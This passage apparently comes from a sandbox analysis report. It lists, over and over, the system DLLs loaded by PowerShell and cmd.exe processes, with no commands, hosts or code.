                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: pstorec.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vaultcli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: pstorec.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
